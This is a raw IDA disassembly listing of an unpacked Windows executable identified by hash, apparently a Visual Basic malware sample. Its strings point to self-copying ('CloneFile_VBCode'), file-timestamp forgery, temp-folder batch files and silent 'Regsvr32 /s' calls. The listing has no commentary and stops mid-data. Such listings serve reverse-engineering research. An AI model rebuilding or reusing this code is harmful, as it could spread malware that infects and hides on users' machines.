; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 281DA14E28107FFA7D3AFAC0D0083DE1 ; File Name : u:\work\281da14e28107ffa7d3afac0d0083de1_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00004E30 ( 20016.) ; Section size in file : 00004E30 ( 20016.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_401000 dd 735215EEh, 7350B974h, 734348BFh, 73502AFCh, 73502B31h ; DATA XREF: .text:loc_401144r ; .text:004010C6r ... dd 7351A199h, 7350B403h, 7343D86Fh, 73445449h, 7343B778h dd 734445E8h, 7344E385h, 734F7C33h, 73528B73h, 734F677Ch dd 73444E5Bh, 73519CDBh, 7351A8C4h, 7350C247h, 73506301h dd 734FE5C4h, 73502654h, 73503BBDh, 7344826Eh, 73445799h dd 7350389Eh, 73445144h, 734FE967h dword_401070 dd 7342DE3Eh dword_401074 dd 734449F1h, 7350B371h, 734FE9BCh, 4 dup(0) ; .text:004010D2r ... ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401090 proc near ; CODE XREF: .text:00401D1Dp ; .text:00401D79p ... jmp ds:dword_401000+24h sub_401090 endp ; --------------------------------------------------------------------------- jmp ds:dword_401000+28h ; --------------------------------------------------------------------------- jmp ds:dword_401000+18h ; --------------------------------------------------------------------------- jmp ds:dword_401000+14h ; --------------------------------------------------------------------------- jmp ds:dword_401000+40h ; --------------------------------------------------------------------------- jmp ds:dword_401000+4Ch ; --------------------------------------------------------------------------- jmp ds:dword_401000+48h ; --------------------------------------------------------------------------- jmp ds:dword_401074 ; --------------------------------------------------------------------------- jmp ds:dword_401000+34h ; --------------------------------------------------------------------------- jmp ds:dword_401000+4 ; --------------------------------------------------------------------------- jmp ds:dword_401000+58h ; --------------------------------------------------------------------------- jmp ds:dword_401074+4 ; --------------------------------------------------------------------------- jmp ds:dword_401000+64h ; --------------------------------------------------------------------------- jmp ds:dword_401000+8 ; --------------------------------------------------------------------------- jmp ds:dword_401000+6Ch ; --------------------------------------------------------------------------- jmp ds:dword_401000+20h ; --------------------------------------------------------------------------- jmp ds:dword_401000+60h ; --------------------------------------------------------------------------- jmp ds:dword_401000+30h ; --------------------------------------------------------------------------- jmp ds:dword_401000+50h ; --------------------------------------------------------------------------- jmp ds:dword_401074+8 ; --------------------------------------------------------------------------- jmp ds:dword_401000+0Ch ; --------------------------------------------------------------------------- jmp ds:dword_401000+44h ; --------------------------------------------------------------------------- jmp ds:dword_401000+10h ; --------------------------------------------------------------------------- jmp ds:dword_401000+5Ch ; --------------------------------------------------------------------------- jmp ds:dword_401000+54h ; --------------------------------------------------------------------------- jmp ds:dword_401000+68h ; --------------------------------------------------------------------------- jmp ds:dword_401000+3Ch ; --------------------------------------------------------------------------- loc_401132: ; DATA XREF: .text:004014A8o ; .text:0040198Co jmp ds:dword_401000+38h ; --------------------------------------------------------------------------- loc_401138: ; DATA XREF: .text:004014ACo ; .text:00401990o jmp ds:dword_401000+1Ch ; --------------------------------------------------------------------------- loc_40113E: ; DATA XREF: .text:004014B0o ; .text:00401994o jmp ds:dword_401000+2Ch ; --------------------------------------------------------------------------- loc_401144: ; CODE XREF: .text:00401A27j ; .text:00401A3Bj ... jmp ds:dword_401000 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114A proc near ; CODE XREF: .text:00401155p jmp ds:dword_401070 sub_40114A endp ; --------------------------------------------------------------------------- public start start: push offset dword_401238 call sub_40114A ; --------------------------------------------------------------------------- dw 0 align 10h dd 30h, 38h, 0 dd 362B0DD8h, 44FEC67Bh, 0C539EA87h, 0C63BAE88h, 0 dd 10000h, 410000h, 4107F0h, 75746573h, 70h, 0 dword_401198 dd 31CCFFh, 3BE66300h, 6F9DAD08h, 3F27AA4Eh, 0C2C596C5h ; DATA XREF: .text:0040139Co dd 0D500DC42h, 0D9CE694Ah, 0EC56884Eh, 0CB1E3B7Eh, 0AD4F3A4Fh dd 0CF669933h, 0CB711h, 0D36000AAh, 93h, 8 dup(0) dd 4400h, 3F00h, 50000h, 53554F4Eh, 10D0045h, 6874000Bh dd 62757065h, 6563696Ch, 1190072h, 24004200h, 6F460005h dd 316D72h, 3C35h, 15900h, 117600h, 0BC700h, 0FF034600h dd 4 dword_401238 dd 21354256h, 2A2636h, 3 dup(0) dd 7Eh, 2 dup(0) dd 0A0000h, 409h, 2 dup(0) dd offset dword_401530 dd 30F000h, 0FFFFFF00h, 8, 1, 2, 0E9h, 401354h, 401238h dd 40115Ch, 78h, 7Dh, 83h, 84h, 4 dup(0) aZzxx db 'zzxx',0 aSetup db 'Setup',0 align 4 aSetup_0 db 'setup',0 align 4 dword_4012C4 dd 6, 402330h, 7, 4021A4h, 7, 40215Ch, 7, 402114h, 7, 4020CCh ; DATA XREF: .text:00401764o dd 7, 402084h, 7, 402028h, 7, 401FE4h, 7, 401FA0h, 7, 401F5Ch dd 7, 401F04h, 7, 401EBCh, 7, 401E68h, 7, 401E24h, 7, 401DE0h dd 7, 401D94h, 7, 401D4Ch, 7, 401CF0h, 50h, 83BE663h, 4E6F9DADh dd 0C53F27AAh, 42C2C596h, 5 dup(0) dd 10h, 5 dup(0) dd 9Dh, 0 dd offset dword_401198 dd 4Ch, 50h, 34DB33FEh, 4C41CD92h, 5FFB098h, 3A22321Ah dd 4 dup(0) dd 1, 6 dup(0) dd 3A2h, 0 dd offset dword_4023AC dword_4013F0 dd 9Ch, 10001h, 401A8Ch, 0 ; .text:off_401B10o ... dd offset dword_402814 dd 0FFFFFFFFh, 0 dd offset off_401B10 dd offset dword_406014 align 8 dd 1F3860h, 3 dup(0) dd offset off_40146C dd 1, 402370h, 0 dd offset off_40146C dd 1, 401474h, 0 dd offset off_401470 dd 1, 401474h, 1B70000h, 6C0068h, 40149Ch, 406408h, 0 dd 2EC937Ch off_40146C dd offset dword_402380 ; DATA XREF: .text:00401428o ; .text:00401438o off_401470 dd offset dword_402390 ; DATA XREF: .text:00401448o dword_401474 dd 1F0040h, 34h, 401BF8h, 0FFFFFFFFh, 2 dup(0) dd offset dword_40149C dd 1BF4E0h, 401C08h, 0FFFFFFFFh dword_40149C dd 0 dd offset dword_401474 dd offset dword_4013F0+4 dd offset loc_401132 dd offset loc_401138 dd offset loc_40113E dd 1Fh dup(0) dword_401530 dd 1F4h, 401A8Ch, 0 ; .data:00406284o dd offset dword_405CE0 dd offset dword_405CF0 dd 1228h, 406000h, 40112Ch, 85h dup(0) dd offset dword_4012C4 dword_401768 dd 12h, 1, 401A8Ch, 0 ; .text:off_401AE0o ... dd offset dword_402894 dd 0FFFFFFFFh, 0 dd offset off_401AE0 dd offset dword_406000 dd 17h, 4018DCh, 40003Eh, 0 dd 1577ECh, 4017E4h, 1, 401BC8h, 0 dd offset off_401938 dd 1, 401940h, 0 dd offset off_40193C dd 1, 401940h, 1B70006h, 6C0068h, 401968h, 406B0Ch, 0 dd 1BF0F8h, 406400h, 401CD0h, 402070h, 401CE0h, 401096h dd 40224Ch, 402254h, 40109Ch, 4010A2h, 402260h, 402268h dd 4010A8h, 4010AEh, 4010B4h, 401ED4h, 4010BAh, 401C84h dd 401F1Ch, 401BE8h, 4010C0h, 4010C6h, 402270h, 402284h dd 4010CCh, 4021BCh, 4010D2h, 4010D8h, 402298h, 4010DEh dd 4022ACh, 4010E4h, 4010EAh, 4010F0h, 4022C0h, 4010F6h dd 401E3Ch, 401DF8h, 401E80h, 4010FCh, 401102h, 4022E0h dd 4022E8h, 401DACh, 401108h, 4022F8h, 402308h, 40110Eh dd 402310h, 401114h, 402320h, 40232Ch, 401FB8h, 401FFCh dd 402040h, 402348h, 40111Ah, 40212Ch, 402174h, 401120h dd 401D08h, 401126h, 401BB8h, 11h dup(0) dd offset off_405AFC dd offset off_40347C dd offset off_402AEC dd offset off_4029D8 dd offset off_403EB0 dd offset off_402E3C off_401938 dd offset dword_401BD8 ; DATA XREF: .text:004017B0o off_40193C dd offset dword_401BE8 ; DATA XREF: .text:004017C0o dword_401940 dd 1F0040h, 4Ch, 401BF8h, 0FFFFFFFFh, 2 dup(0) dd offset dword_401980 dd 1BF4E0h, 401C08h, 0FFFFFFFFh, 401A2Fh, 401A43h, 401A57h dd 401A6Bh, 401A1Bh, 401A7Fh dword_401980 dd 0 dd offset dword_401940 dd offset dword_401768+4 dd offset loc_401132 dd offset loc_401138 dd offset loc_40113E dd 6 dup(0) dd offset loc_401A14 dd 18h dup(0) ; --------------------------------------------------------------------------- loc_401A14: ; DATA XREF: .text:004019B0o mov eax, 4Ch cmp ax, 0C033h mov edx, offset off_405AFC push offset loc_401144 retn ; --------------------------------------------------------------------------- mov eax, 0 cmp ax, 0C033h mov edx, offset off_40347C push offset loc_401144 retn ; --------------------------------------------------------------------------- mov eax, 0 cmp ax, 0C033h mov edx, offset off_402AEC push offset loc_401144 retn ; --------------------------------------------------------------------------- mov eax, 0 cmp ax, 0C033h mov edx, offset off_4029D8 push offset loc_401144 retn ; --------------------------------------------------------------------------- mov eax, 0 cmp ax, 0C033h mov edx, offset off_403EB0 push offset loc_401144 retn ; --------------------------------------------------------------------------- mov eax, 0 cmp ax, 0C033h mov edx, offset off_402E3C push offset loc_401144 retn ; --------------------------------------------------------------------------- unk_401A8C db 0 ; DATA XREF: .text:004028D8o ; .data:00406044o db 0 db 0 db 0 dd offset aSCs ; "˜°Cs" dd offset dword_4028D4 dd 0FFFFFFFFh, 0 dd offset dword_406028 dd 0EFC09223h, 4E595FC5h, 8AD1BADh, 0D05912F8h, 2000Ah dd 20004h, 401AE0h, 3 dup(0) dd offset aSetup_1 ; "setup" dd 409h, 804h, 0 dd 2 off_401AE0 dd offset dword_401768+4 ; DATA XREF: .text:00401784o dd 0FFFFFFFFh, 40221Ch, 3 dup(0) dd offset aNouse ; "NOUSE" dd 17h, 401B40h, 0FFFFh, 18083h, 0 off_401B10 dd offset dword_4013F0+4 ; DATA XREF: .text:0040140Co dd 0FFFFFFFFh, 4023A0h, 3 dup(0) dd offset aForm1 ; "Form1" align 10h dd 220AF0h, 0FFFFh, 18083h, 0 dd 1C2158h, 0FFFFFFFFh, 0FFFF0118h, 181338h, 2ECD538h dd 0A78h, 1B0003h, 991h, 0 dd 700h, 0FFFF0008h, 2 dup(0) dd 0FFFFFFFFh, 30001h, 113h, 1C2158h, 0FFFFFFFFh, 4021D8h dd 4021F0h, 402204h, 402210h, 1B0003h, 0 aSetup_1 db 'setup',0 ; DATA XREF: .text:00401ACCo align 4 aNouse db 'NOUSE',0 ; DATA XREF: .text:00401AF8o align 10h aForm1 db 'Form1',0 ; DATA XREF: .text:00401B28o align 4 db 'Ü',0 dw 4AD5h dd 4ED9CE69h, 7EEC5688h, 4FCB1E3Bh, 1002D899h, 46872FCEh dd 7CF143A8h, 6ABF211Dh dword_401BD8 dd 83BE663h, 4E6F9DADh, 0C53F27AAh, 42C2C596hdword_401BE8 dd 0A2B8DBE2h, 41BA2981h, 6F8712A9h, 11DAADBEh, 33AD4F3Ah ; DATA XREF: .text:off_40193Co dd 11CF6699h, 0AA000CB7h, 93D36000h, 6D726F46h, 0 dword_401C10 dd 0FCFB3D2Eh, 1068A0FAh, 838A7h, 0B571332Bh, 505C3A43h dd 72676F72h, 46206D61h, 73656C69h, 63694D5Ch, 6F736F72h dd 56207466h, 61757369h, 7453206Ch, 6F696475h, 3942565Ch dd 42565C38h, 4C4F2E36h, 42h, 4256h, 401C10h, 0 dd 6, 9, 401C20h, 401C58h, 406330h, 2 dup(0) dword_401C80 dd 1BE098h, 440018h, 30000h, 2C040044h, 10004h, 10008h ; DATA XREF: .text:off_40276Co dd 1000Ch, 10000Ch, 0 dword_401CA4 dd 4040010h, 8000Ch, 0dword_401CB0 dd 4040008h, 7, 72657375h, 3233h, 9, 69577349h, 776F646Eh ; DATA XREF: .text:off_40215Co dd 0 dd 2, 402234h, 402070h, 0 dd 33AD4F79h, 11CF6699h, 0AA000CB7h, 93D36000h, 401CB8h dd 401CC4h, 40000h, 406334h, 2 dup(0) ; --------------------------------------------------------------------------- mov eax, dword_40633C or eax, eax jz short loc_401D13 jmp eax ; --------------------------------------------------------------------------- loc_401D13: ; CODE XREF: .text:00401D0Fj push 401CF0h mov eax, offset sub_401090 call eax ; sub_401090 jmp eax ; --------------------------------------------------------------------------- align 4 dword_401D24 dd 9, 6E72656Bh, 32336C65h, 0 ; .text:off_401EBCo ... dd 13h, 4D746547h, 6C75646Fh, 6C694665h, 6D614E65h, 4165h dd 401D28h, 401D38h, 40000h, 406340h, 2 dup(0) ; --------------------------------------------------------------------------- mov eax, dword_406348 or eax, eax jz short loc_401D6F jmp eax ; --------------------------------------------------------------------------- loc_401D6F: ; CODE XREF: .text:00401D6Bj push 401D4Ch mov eax, offset sub_401090 call eax ; sub_401090 jmp eax ; --------------------------------------------------------------------------- align 10h dword_401D80 dd 0Dh, 54746547h, 50706D65h, 41687461h, 0off_401D94 dd offset dword_401D24+4 ; DATA XREF: .text:loc_401DB7o dd offset dword_401D80+4 dd 40000h, 40634Ch, 2 dup(0) ; --------------------------------------------------------------------------- mov eax, dword_406354 or eax, eax jz short loc_401DB7 jmp eax ; --------------------------------------------------------------------------- loc_401DB7: ; CODE XREF: .text:00401DB3j push offset off_401D94 mov eax, offset sub_401090 call eax ; sub_401090 jmp eax ; --------------------------------------------------------------------------- align 4 dd 14h, 74696157h, 53726F46h, 6C676E69h, 6A624F65h, 746365h dd 401D28h, 401DCCh, 40000h, 406358h, 2 dup(0) ; --------------------------------------------------------------------------- mov eax, dword_406360 or eax, eax jz short loc_401E03 jmp eax ; --------------------------------------------------------------------------- loc_401E03: ; CODE XREF: .text:00401DFFj push 401DE0h mov eax, offset sub_401090 call eax ; sub_401090 jmp eax ; --------------------------------------------------------------------------- align 4 dd 0Ch, 6E65704Fh, 636F7250h, 737365h, 401D28h, 401E18h dd 40000h, 406364h, 2 dup(0) ; --------------------------------------------------------------------------- mov eax, dword_40636C or eax, eax jz short loc_401E47 jmp eax ; --------------------------------------------------------------------------- loc_401E47: ; CODE XREF: .text:00401E43j push 401E24h mov eax, offset sub_401090 call eax ; sub_401090 jmp eax ; --------------------------------------------------------------------------- align 4 dd 0Ch, 736F6C43h, 6E614865h, 656C64h, 401D28h, 401E5Ch dd 40000h, 406370h, 2 dup(0) ; --------------------------------------------------------------------------- mov eax, dword_406378 or eax, eax jz short loc_401E8B jmp eax ; --------------------------------------------------------------------------- loc_401E8B: ; CODE XREF: .text:00401E87j push 401E68h mov eax, offset sub_401090 call eax ; sub_401090 jmp eax ; --------------------------------------------------------------------------- align 4 dword_401E9C dd 18h, 45746547h, 7269766Eh, 656D6E6Fh, 6156746Eh, 62616972h ; DATA XREF: .text:00401EC0o dd 41656Ch, 0 off_401EBC dd offset dword_401D24+4 ; DATA XREF: .text:loc_401EDFo dd offset dword_401E9C+4 dd 40000h, 40637Ch, 2 dup(0) ; --------------------------------------------------------------------------- mov eax, dword_406384 or eax, eax jz short loc_401EDF jmp eax ; --------------------------------------------------------------------------- loc_401EDF: ; CODE XREF: .text:00401EDBj push offset off_401EBC mov eax, offset sub_401090 call eax ; sub_401090 jmp eax ; --------------------------------------------------------------------------- align 10h dd 0Fh, 61657243h, 72506574h, 7365636Fh, 4173h, 401D28h dd 401EF4h, 40000h, 406388h, 2 dup(0) ; --------------------------------------------------------------------------- mov eax, dword_406390 or eax, eax jz short loc_401F27 jmp eax ; --------------------------------------------------------------------------- loc_401F27: ; CODE XREF: .text:00401F23j push 401F04h mov eax, offset sub_401090 call eax ; sub_401090 jmp eax ; --------------------------------------------------------------------------- align 4 dd 0Ch, 6C656873h, 2E32336Ch, 6C6C64h, 0Eh, 6C656853h dd 6578456Ch, 65747563h, 41h, 401F3Ch, 401F4Ch, 40000h dd 406394h, 2 dup(0) ; --------------------------------------------------------------------------- mov eax, dword_40639C or eax, eax jz short loc_401F7F jmp eax ; --------------------------------------------------------------------------- loc_401F7F: ; CODE XREF: .text:00401F7Bj push 401F5Ch mov eax, offset sub_401090 call eax ; sub_401090 jmp eax ; --------------------------------------------------------------------------- align 10h dd 0Ch, 61657243h, 69466574h, 41656Ch, 401D28h, 401F94h dd 40000h, 4063A0h, 2 dup(0) ; --------------------------------------------------------------------------- mov eax, dword_4063A8 or eax, eax jz short loc_401FC3 jmp eax ; --------------------------------------------------------------------------- loc_401FC3: ; CODE XREF: .text:00401FBFj push 401FA0h mov eax, offset sub_401090 call eax ; sub_401090 jmp eax ; --------------------------------------------------------------------------- align 4 dd 0Ch, 46746547h, 54656C69h, 656D69h, 401D28h, 401FD8h dd 40000h, 4063ACh, 2 dup(0) ; --------------------------------------------------------------------------- mov eax, dword_4063B4 or eax, eax jz short loc_402007 jmp eax ; --------------------------------------------------------------------------- loc_402007: ; CODE XREF: .text:00402003j push 401FE4h mov eax, offset sub_401090 call eax ; sub_401090 jmp eax ; --------------------------------------------------------------------------- align 4 dd 0Ch, 46746553h, 54656C69h, 656D69h, 401D28h, 40201Ch dd 40000h, 4063B8h, 2 dup(0) ; --------------------------------------------------------------------------- mov eax, dword_4063C0 or eax, eax jz short loc_40204B jmp eax ; --------------------------------------------------------------------------- loc_40204B: ; CODE XREF: .text:00402047j push 402028h mov eax, offset sub_401090 call eax ; sub_401090 jmp eax ; --------------------------------------------------------------------------- align 4 dword_40205C dd 0Dh, 61657243h, 754D6574h, 41786574h, 0 dd 0FCFB3D22h, 1068A0FAh, 838A7h, 0B571332Bh, 0 off_402084 dd offset dword_401D24+4 ; DATA XREF: .text:loc_4020A7o dd offset dword_40205C+4 dd 40000h, 4063C4h, 2 dup(0) ; --------------------------------------------------------------------------- mov eax, dword_4063CC or eax, eax jz short loc_4020A7 jmp eax ; --------------------------------------------------------------------------- loc_4020A7: ; CODE XREF: .text:004020A3j push offset off_402084 mov eax, offset sub_401090 call eax ; sub_401090 jmp eax ; --------------------------------------------------------------------------- align 4 dword_4020B8 dd 0Dh, 656C6552h, 4D657361h, 78657475h, 0off_4020CC dd offset dword_401D24+4 ; DATA XREF: .text:loc_4020EFo dd offset dword_4020B8+4 dd 40000h, 4063D0h, 2 dup(0) ; --------------------------------------------------------------------------- mov eax, dword_4063D8 or eax, eax jz short loc_4020EF jmp eax ; --------------------------------------------------------------------------- loc_4020EF: ; CODE XREF: .text:004020EBj push offset off_4020CC mov eax, offset sub_401090 call eax ; sub_401090 jmp eax ; --------------------------------------------------------------------------- align 10h dd 0Eh, 646E6946h, 646E6957h, 7845776Fh, 41h, 401CB8h dd 402104h, 40000h, 4063DCh, 2 dup(0) ; --------------------------------------------------------------------------- mov eax, dword_4063E4 or eax, eax jz short loc_402137 jmp eax ; --------------------------------------------------------------------------- loc_402137: ; CODE XREF: .text:00402133j push 402114h mov eax, offset sub_401090 call eax ; sub_401090 jmp eax ; --------------------------------------------------------------------------- align 4 dword_402148 dd 0Dh, 646E6553h, 7373654Dh, 41656761h, 0off_40215C dd offset dword_401CB0+8 ; DATA XREF: .text:loc_40217Fo dd offset dword_402148+4 dd 40000h, 4063E8h, 2 dup(0) ; --------------------------------------------------------------------------- mov eax, dword_4063F0 or eax, eax jz short loc_40217F jmp eax ; --------------------------------------------------------------------------- loc_40217F: ; CODE XREF: .text:0040217Bj push offset off_40215C mov eax, offset sub_401090 call eax ; sub_401090 jmp eax ; --------------------------------------------------------------------------- align 10h dd 0Eh, 4D6C7452h, 4D65766Fh, 726F6D65h, 79h, 401D28h dd 402194h, 40000h, 4063F4h, 2 dup(0) ; --------------------------------------------------------------------------- mov eax, dword_4063FC or eax, eax jz short loc_4021C7 jmp eax ; --------------------------------------------------------------------------- loc_4021C7: ; CODE XREF: .text:004021C3j push 4021A4h mov eax, offset sub_401090 call eax ; sub_401090 jmp eax ; --------------------------------------------------------------------------- align 4 aSetfiletimefro db 'SetFileTimeFromSystem',0 align 10h aClonefile_vbco db 'CloneFile_VBCode',0 align 4 aExistfile db 'ExistFile',0 align 10h aTryclose db 'TryClose',0 align 4 dd 580018h, 30000h, 0 dd 10034h, 10038h, 2003Ch, 0FCFB3D23h, 1068A0FAh, 838A7h dd 0B571332Bh, 0 dd 2, 20h, 4, 200022h, 3 dup(0) dd 2, 25h, 0Ch, 690077h, 72006Eh, 730065h, 0 dd 0Ch, 550043h, 540053h, 4D004Fh, 0 dd 0Ch, 6F0066h, 74006Eh, 5C0073h, 0 dd 0Eh, 75002Fh, 640070h, 740061h, 65h, 18h, 650052h, 730067h dd 720076h, 320033h, 2F0020h, 200073h, 0 dd 2, 5Ch, 8, 65002Eh, 650078h, 0 dd 8, 74005Ch, 70006Dh, 0 dd 2, 2Eh, 8, 62002Eh, 740061h, 0 dd 4, 0A000Dh, 0 dd 4, 880001h, 402234h, 406400h, 36414256h, 4C4C442Eh dd 0 dd 16h, 4, 1, 0 dd 1730000h, 0FFFFFFFFh, 1, 86AC37Ah, 4137FE66h, 0C8D72096h dd 47BDB66h, 0F29F7AD2h, 4AEF2C99h, 0D11291BEh, 89CDBD72h dword_402380 dd 34DB33FEh, 4C41CD92h, 5FFB098h, 3A22321Ahdword_402390 dd 0F44D1942h, 4A97D09Ch, 94C755ADh, 9B10DD5Fh, 40000Ch ; DATA XREF: .text:off_401470o dd 2 dup(0) dword_4023AC dd 31CCFFh, 0DB33FE00h, 41CD9234h, 0FFB0984Ch, 22321A05h ; DATA XREF: .text:004013ECo dd 6AC37A3Ah, 37FE6608h, 0D7209641h, 7BDB66C8h, 0AD4F3A04h dd 0CF669933h, 0CB711h, 0D36000AAh, 93h, 8 dup(0) dd 34900h, 34400h, 50000h, 6D726F46h, 10D0031h, 6F460005h dd 316D72h, 42000119h, 3062300h, 746C0000h, 2FE0000h, 0 dd 10001h, 102020h, 0 dd 2E8h, 16h, 28h, 20h, 40h, 40001h, 0 dd 280h, 5 dup(0) dd 0BF0000h, 0BF00h, 0BFBF00h, 0BFh, 0BF00BFh, 0BFBFh dd 0C0C0C0h, 808080h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh dd 0FF00FFh, 0FFFFh, 0FFFFFFh, 8 dup(0) dd 3 dup(88888888h), 80888888h, 77777787h, 2 dup(77777777h) dd 80777777h, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh) dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh) dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh) dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh) dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 88888887h dd 2 dup(88888888h), 80878888h, 77777787h, 2 dup(77777777h) dd 80777777h, 44444487h, 44444444h, 404444h, 80000000h dd 44444487h, 44444444h, 70474444h, 80700777h, 44444487h dd 44444444h, 70474444h, 80700777h, 44444487h, 2 dup(44444444h) dd 80444444h, 77777787h, 2 dup(77777777h), 80777777h, 3 dup(88888888h) dd 80888888h, 8 dup(0) dd 0FFFFFFFFh, 1Dh dup(0) dword_402728 dd 2 dup(0FFFFFFFFh), 46000524h, 316D726Fh, 3C3500h, 1590000h dd 12480000h, 0C7B0000h, 3460000h, 4FFh, 0 off_402754 dd offset dword_402894 ; DATA XREF: .text:004028E4o dd offset dword_402814 dd offset aFile ; "File" dd 0 dd offset aFile ; "File" dd 0 off_40276C dd offset dword_401C80+4 ; DATA XREF: .text:004028BCo dd offset dword_401C80+1Ch dd offset dword_401CA4+4 dd offset aSfile ; "sfile" dd offset aDfile ; "dfile" dd 0 dword_402784 dd 6FD010Ch, 0FFFFh, 0 dd 60030002h, 402778h, 3 dup(0) dword_4027A4 dd 2F10101Eh, 7010108h, 0FFFFh, 0 dd 60030003h, 402764h, 3 dup(0) dword_4027C8 dd 23101Eh, 6F90108h, 0FFFFh, 0 dd 60030001h, 40275Ch, 3 dup(0) dword_4027EC dd 2F101Eh, 7050104h, 0FFFFh, 0 dd 60030004h, 402750h, 3 dup(0) dd 2F1Eh dword_402814 dd 0 ; .text:00402758o dd offset dword_4013F0+4 dd 0FFFFFFFFh, 3 dup(0) dd offset dword_402728+28h dd 0 dd offset dword_402728+28h dd offset dword_402728+28h dd offset dword_402728+28h dd 3 dup(0) dword_40284C dd 40h, 4, 10h dup(0)dword_402894 dd 0 ; .text:off_402754o dd offset dword_401768+4 dd 0FFFFFFFFh, 0 dd 10h, 3, 402920h, 0 dd offset dword_40284C+8 dd offset dword_402728+28h dd offset off_40276C dd 3 dup(0) dd 58h, 4 dword_4028D4 dd 0 dd offset unk_401A8C dd 0FFFFFFFFh, 0 dd offset off_402754 dd 3 dup(0) dd 0FFFFFFFFh, 0 dd offset dword_401C10+4Ch dd offset dword_401BE8+10h dd offset dword_406404 aFile db 'File',0 ; DATA XREF: .text:0040275Co ; .text:00402764o align 10h aSfile db 'sfile',0 ; DATA XREF: .text:00402778o align 4 aDfile db 'dfile',0 ; DATA XREF: .text:0040277Co align 10h dd 12h dup(0) dd offset dword_4027C8+4 dd offset dword_402784 dd offset dword_4027A4+4 dd offset dword_4027EC+4 dd 0 dd 43000C6Ch, 6F5FF74h, 4000000h, 644DFF74h, 0B4008FFh dd 80037h, 0FCFEFC31h, 63FF1066h, 0FC3EFF30h, 0FF6023FEh dd 0F54Ah, 0FDDB0000h, 4FF50F8h, 1A0AFF00h, 4001000h, 56FCFF00h dd 32FF7A70h, 0FF600004h, 836FEFCh, 30FF5000h, 0FF10FFh dd 102FFFFFh, 200h off_4029D8 dd offset dword_401768+4 ; DATA XREF: .text:0040192Co ; .text:00401A59o dd 80000Ch, 28005Ch, 0 dd 130000h, 0 dd 10h, 10000h, 0 dd 1FF74h, 20h, 50000h, 0 dd 1FF60h, 1FEFCh, 2FF30h, 2FF10h, 2FF00h, 43000C6Ch, 106CFF68h dd 0FF644300h, 0BF4B2EFFh, 0F500h, 686C0000h, 1E5EFFh dd 1F50004h, 0AE000000h, 0FEFF5C04h, 1100018Eh, 80000100h dd 0FF3C2700h, 400200Bh, 0FF627000h, 6CFF3C35h, 626BFF68h dd 0FEFFF4FFh, 6B01205Dh, 5C04FF62h, 3616FFFFh, 0FF626B00h dd 6F53DFDh, 4000000h, 4C4DFF64h, 0B4008FFh, 80037h, 4AFF3823h dd 0F5h, 382FDB00h, 961CFFh, 0F5h, 0FF646C00h, 800270Ah dd 0FF640400h, 8FF4C4Dh, 1F0A40h, 3C270004h, 200BFFh, 60700004h dd 0FF3C35FFh, 6BFF646Ch, 0FFF4FF60h, 2205DFEh, 4FF606Bh dd 18FFFF5Ch, 606B0036h, 0FF3DFDFFh, 1000142Fh, 142FFF00h dd 1000h off_402AEC dd offset dword_401768+4 ; DATA XREF: .text:00401928o ; .text:00401A45o dd 440010h, 3C00CCh, 0 dd 130000h, 0 dd 22h, 40000h, 1000000h, 2FF6Ch, 105FF5Ch, 0 dd 0FF680000h, 0FF640001h, 1, 14h, 20000h, 0 dd 1FF38h, 2FF3Ch, 0C6C0800h, 0FF744300h, 0FF4B0500h, 0F40700FFh dd 0FF7A7000h, 746C0F00h, 0F5FFh, 30FB0000h, 361Ch, 0FF600413h dd 0D000808h, 3D0050h, 31FF603Eh, 200FF74h, 54F50002h dd 4000000h, 0C0AFF50h, 0F5000800h, 68h, 0AFF4004h, 8000Ch dd 75F5h, 0FF200400h, 8000C0Ah, 6EF500h, 40000h, 0C0AFFh dd 64F50008h, 4000000h, 0C0AFEE0h, 0F5000800h, 65h, 0AFEC004h dd 8000Ch, 72F5h, 0FEA00400h, 8000C0Ah, 52F500h, 80040000h dd 0C0AFEh, 54F50008h, 4000000h, 0C0AFE60h, 0F5000800h dd 36h, 0AFE4004h, 8000Ch, 46F5h, 0FE200400h, 8000C0Ah dd 6FF500h, 40000h, 0C0AFEh, 72F50008h, 4000000h, 0C0AFDE0h dd 0F5000800h, 6Dh, 0AFDC004h, 8000Ch, 44F5h, 0FDA00400h dd 8000C0Ah, 43F500h, 80040000h, 0C0AFDh, 